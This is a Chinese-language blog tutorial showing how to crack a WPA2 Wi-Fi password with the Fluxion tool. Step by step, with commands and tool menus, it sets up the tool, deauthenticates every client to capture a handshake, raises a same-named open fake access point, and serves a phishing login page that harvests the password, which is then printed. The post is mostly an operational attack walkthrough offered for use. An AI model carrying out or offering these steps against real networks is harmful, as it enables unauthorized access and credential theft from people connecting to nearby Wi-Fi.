Hacking any WPA/WPA2 PSK without BruteForce

Fluxion is based on the programs such as aircrack-ng, mdk3, hostapd etc.

實(shí)驗(yàn)所需文件

準(zhǔn)備條件

下載下來之后

┌─[thekingofnight@parrot]─[~/Desktop/test/test]
└──? $ls
add.py  airmon  arch-install  fluxion  Installer.sh  LICENSE  logos.zip  README.md  remove.py
┌─[thekingofnight@parrot]─[~/Desktop/test/test]
└──? $chmod 777 *
┌─[thekingofnight@parrot]─[~/Desktop/test/test]
└──? $apt-get update
┌─[?]─[thekingofnight@parrot]─[~/Desktop/test/test]
└──? $sudo proxychains ./Installer.sh 

等待安裝完成,完成標(biāo)志,再次運(yùn)行Installer.sh,結(jié)果如下

#########################################################
#                                                       #
#      FLUXION 2    < Fluxion Is The Future >           #
# by Deltax, Strasharo and ApatheticEuphoria            #
#                                                       #
#########################################################


Aircrack-ng.....OK!
Aireplay-ng.....OK!
Airodump-ng.....OK!
Bully...........OK!
Curl............OK!
Dhcpd...........OK!
Hostapd.........OK!
Iwconfig........OK!
Lighttpd........OK!
Macchanger......OK!
Mdk3............OK!
Nmap............OK!
Openssl.........OK!
Php-cgi........OK!
Pyrit...........OK!
Python..........OK!
Reaver..........OK!
rfkill..........OK!
Unzip...........OK!
Xterm...........OK!
Zenity..........OK!
strings..........OK!
fuser............OK!
./fluxion

實(shí)戰(zhàn)

[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


[i] Select your language
                                       
      [1] English          
      [2] German      
      [3] Romanian     
      [4] Turkish    
      [5] Spanish    
      [6] Chinese   
      [7] Italian   
      [8] Czech   
      [9] Greek   
                                       
[deltaxflux@fluxion]-[~]

這樣即是運(yùn)行成功,這里以English舉例

[i] Select channel
                                       
      [1] All channels           
      [2] Specific channel(s)       
      [3] Back        
                                       
[deltaxflux@fluxion]-[~]1

選擇1

[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


                        WIFI LIST 

 ID      MAC                      CHAN    SECU     PWR   ESSID

......

 [37]   90:94:xx:xx:xx:xx     11     WPA2     65%     theKingOfNight

......
 (*) Active clients

        Select target. For rescan type r

選擇37

[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


INFO WIFI

               SSID = theKingOfNight / WPA2
               Channel = 11
               Speed = 30 Mbps
               BSSID = 90:94:97:xx:xx:xx ( )

[i] Select Attack Option
                                       
      [1] FakeAP - Hostapd (Recommended)
      [2] FakeAP - airbase-ng (Slower connection)
      [3] WPS-SLAUGHTER - Bruteforce WPS Pin
      [4] Bruteforce - (Handshake is required)
      [5] Back 

選擇1

[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


INFO WIFI

               SSID = theKingOfNight / WPA2
               Channel = 11
               Speed = 30 Mbps
               BSSID = 90:94:97:xx:xx:xx ( )


handshake location  (Example: /home/thekingofnight/Desktop/test/test.cap)
Press ENTER to skip

Path: 
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


[i] Handshake check
                                       
      [1] aircrack-ng (Miss chance)
      [2] pyrit
      [3] Back
                                       
[deltaxflux@fluxion]-[~]1
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


[i] *Capture Handshake*
                                       
      [1] Deauth all
      [2] Deauth all [mdk3]
      [3] Deauth target 
      [4] Rescan networks 
      [5] Exit
                                       
[deltaxflux@fluxion]-[~]1

使所有用戶斷開wifi,然后默認(rèn)設(shè)備會自動重連wifi,也就給我們一個握手包。

[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


[i] *Capture Handshake* 

Status handshake: 

      [1] Check handshake
      [2] Back (Select another deauth method)
      [3] Select another network
      [4] Exit
      #> 1
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
[                                                      ]
[      FLUXION 0.23    < Fluxion Is The Future >       ]
[ by Deltax, Strasharo and ApatheticEuphoria           ]
[                                                      ]
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]


INFO WIFI

               SSID = theKingOfNight / WPA2
               Channel = 11
               Speed = 30 Mbps
               BSSID = 90:94:97:xx:xx:xx ( )


[i] Select your option

      [1] Web Interface
      [2] Bruteforce
      [3] Exit

#?1   
[i] Select Login Page

      [1]  English     [ENG]  (NEUTRA)
      [2]  German      [GER]  (NEUTRA)
      [3]  Russian     [RUS]  (NEUTRA)
      [4]  Italian     [IT]   (NEUTRA)
      [5]  Spanish     [ESP]  (NEUTRA)
      [6]  Portuguese  [POR]  (NEUTRA)
      [7]  Chinese     [CN]   (NEUTRA)
      [8]  French      [FR]   (NEUTRA)
      [9]  Turkish     [TR]   (NEUTRA)
      [10] Romanian    [RO]   (NEUTRA)
      [11] Hungarian   [HU]   (NEUTRA)
      [12] Arabic      [ARA]  (NEUTRA)
      [13] Greek       [GR]   (NEUTRA)
      [14] Czech       [CZ]   (NEUTRA)
      [15] Norwegian   [NO]   (NEUTRA)
      [16] Bulgarian   [BG]   (NEUTRA)
      [17] Serbia      [SRB]  (NEUTRA)
      [18] Polish      [PL]   (NEUTRA)
      [19] Indonesia   [ID]   (NEUTRA)
      [20] Dutch       [NL]   (NEUTRA)
      [21] Danish      [DAN]  (NEUTRA)
      [22] Hebrew      [HE]  (NEUTRA)
      [23] Thailand     [TH]  (NEUTRA)
      [24] Belkin      [ENG]
      [25] Netgear     [ENG]
      [26] Huawei      [ENG]
      [27] Verizon     [ENG]
      [28] Netgear     [ESP]
      [29] Arris       [ESP]
      [30] Vodafone    [ESP]
      [31] TP-Link     [ENG]
      [32] TP-Link     [ITA]
      [33] Back

#? 7

現(xiàn)在會出來一個名稱一樣的,開放的wifi熱點(diǎn),之前加密的已經(jīng)連接不上了。


image.png

安全意識不高的人們會默認(rèn)連接名稱相同的開放熱點(diǎn)

此時,鏈接上網(wǎng)絡(luò)的設(shè)備使用瀏覽器或者app默認(rèn)會跳轉(zhuǎn)到如下界面


image.png

輸入完成后,頁面跳轉(zhuǎn)為


image.png

手機(jī)端也類似


image.png

最后

┌─[root@parrot]─[/home/thekingofnight/Desktop/test/test]
└──? #cat /root/theKingOfNight-password.txt 

    FLUX 0.23 by deltax

    SSID: theKingOfNight
    BSSID: 90:94:xx:xx:xx:xx ()
    Channel: 11
    Security: WPA2
    Time: 00:15:16
    Password: 1234567890

一些坑

恢復(fù)網(wǎng)絡(luò)的解決方法

┌─[?]─[root@parrot]─[/home/thekingofnight]
└──? #ifconfig wlan0mon down
┌─[root@parrot]─[/home/thekingofnight]
└──? #iwconfig wlan0mon channel 11
┌─[root@parrot]─[/home/thekingofnight]
└──? #service network-manager start

Fluxion無法監(jiān)聽的解決方法

airmon-ng check kill
airmon-ng start wlan0

參考

https://www.youtube.com/watch?v=gwF2mcbmfKQ&list=PLjo33Hih06ps2dlJMflCU7tYA7dzk_xYl&index=29

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容